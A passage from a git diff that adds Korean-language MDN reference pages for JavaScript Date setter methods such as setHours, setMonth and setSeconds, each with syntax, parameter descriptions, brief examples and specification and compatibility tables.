+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/sethours/index.html b/files/ko/web/javascript/reference/global_objects/date/sethours/index.html
new file mode 100644
index 0000000000..cbc1d4ff32
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/sethours/index.html
@@ -0,0 +1,138 @@
+---
+title: Date.prototype.setHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours
+---
+<div>{{JSRef}}</div>
+
+<p>setHours () 메서드는 현지 시간에 따라 지정된 날짜의 시간을 설정하고 1970 년 1 월 1 일 00:00:00 UTC 이후 업데이트 된 {{jsxref ( "Date")}}에 의해 표시되는 시간 (밀리 초)을 반환합니다. 예.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>hoursValue</code></dt>
+ <dd>시를 나타내는 0에서 23 사이의 정수입니다.</dd>
+ <dt><code>minutesValue</code></dt>
+ <dd>선택 과목. 분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>minutesValue, secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getMinutes()", "getMinutes()")}}에서 반환 된 값, {{jsxref("Date.prototype.getSeconds()","getSeconds()")}} 및 {{jsxref("Date.prototype.getMilliseconds()","getMilliseconds()")}} 메서드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setHours ()는 그에 따라 {{jsxref ("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setHours()">Using <code>setHours()</code></h3>
+
+<pre class="brush:js">var theBigDay = new Date();
+theBigDay.setHours(7);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html
new file mode 100644
index 0000000000..d0904ae69e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setmilliseconds/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.setMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p>setMilliseconds () 메서드는 현지 시간에 따라 지정된 날짜의 밀리 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>millisecondsValue</code></dt>
+ <dd>밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>예상되는 범위를 벗어난 숫자를 지정하면 {{jsxref ( "Date")}} 객체의 날짜 정보가 그에 따라 업데이트됩니다. 예를 들어, 1005를 지정하면 초 수가 1 씩 증가하고 5는 밀리 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setMilliseconds()">Using <code>setMilliseconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMilliseconds(100);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/setminutes/index.html
new file mode 100644
index 0000000000..296923aa47
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setminutes/index.html
@@ -0,0 +1,136 @@
+---
+title: Date.prototype.setMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+---
+<div>{{JSRef}}</div>
+
+<p>setMinutes () 메서드는 현지 시간에 따라 지정된 날짜의 분을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>minutesValue</code></dt>
+ <dd>분을 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>선택 과목. 초를 나타내는 0에서 59 사이의 정수입니다. secondsValue 매개 변수를 지정하면 minutesValue도 지정해야합니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다. msValue 매개 변수를 지정하는 경우 minutesValue 및 secondsValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>secondsValue 및 msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} 및 {{jsxref ("Date.prototype.getMilliseconds ","getMilliseconds() ")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setMinutes ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 secondsValue에 100을 사용하면 분은 1 (minutesValue + 1)만큼 증가하고 40은 초 단위로 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setMinutes()">Using <code>setMinutes()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMinutes(45);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/setmonth/index.html
new file mode 100644
index 0000000000..bd954f83e9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setmonth/index.html
@@ -0,0 +1,147 @@
+---
+title: Date.prototype.setMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+---
+<div>{{JSRef}}</div>
+
+<p>setMonth () 메서드는 현재 설정된 연도에 따라 지정된 날짜의 월을 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>monthValue</code></dt>
+ <dd>1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>dayValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getDate()", "getDate()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setMonth ()는 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어 monthValue에 15를 사용하면 연도가 1 씩 증가하고 3은 월에 사용됩니다.</p>
+
+<p>현재 날짜가이 메서드의 동작에 영향을 미칩니다. 개념적으로 새로운 날짜를 반환하기 위해 매개 변수로 지정된 새 달의 첫 번째 날에 해당 월의 현재 날짜로 지정된 일 수를 추가합니다. 예를 들어 현재 값이 2016 년 8 월 31 일인 경우 setMonth를 1로 설정하면 2016 년 3 월 2 일에 반환됩니다. 이는 2016 년 2 월에 29 일이 있었기 때문입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setMonth()">Using <code>setMonth()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMonth(6);
+
+//Watch out for end of month transitions
+var endOfMonth = new Date(2016, 7, 31);
+endOfMonth.setMonth(1);
+console.log(endOfMonth); //Wed Mar 02 2016 00:00:00
+
+
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setseconds/index.html
new file mode 100644
index 0000000000..3b3ea09ead
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setseconds/index.html
@@ -0,0 +1,134 @@
+---
+title: Date.prototype.setSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+---
+<div>{{JSRef}}</div>
+
+<p>setSeconds () 메서드는 현지 시간에 따라 지정된 날짜의 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Versions_prior_to_JavaScript_1.3">Versions prior to JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>secondsValue</code></dt>
+ <dd>초를 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setSeconds ()는 {{jsxref("Date")}} 객체의 날짜 정보를 그에 따라 업데이트하려고 시도합니다. 예를 들어, secondsValue에 100을 사용하면 {{jsxref("Date")}} 객체에 저장된 분이 1 씩 증가하고 40 초 동안 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setSeconds()">Using <code>setSeconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setSeconds(30);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/settime/index.html b/files/ko/web/javascript/reference/global_objects/date/settime/index.html
new file mode 100644
index 0000000000..e47d43720a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/settime/index.html
@@ -0,0 +1,127 @@
+---
+title: Date.prototype.setTime()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setTime
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime
+---
+<div>{{JSRef}}</div>
+
+<p>setTime () 메서드는 {{jsxref ( "Date")}} 객체를 1970 년 1 월 1 일 00:00:00 UTC부터 밀리 초 단위로 나타내는 시간으로 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setTime(<var>timeValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>timeValue</code></dt>
+ <dd>1970 년 1 월 1 일 00:00:00 UTC 이후의 밀리 초 수를 나타내는 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 (사실상 인수의 값) 사이의 밀리 초 수입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>setTime () 메서드를 사용하면 다른 {{jsxref ( "Date")}} 객체에 날짜와 시간을 지정할 수 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setTime()">Using <code>setTime()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date('July 1, 1999');
+var sameAsBigDay = new Date();
+sameAsBigDay.setTime(theBigDay.getTime());
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
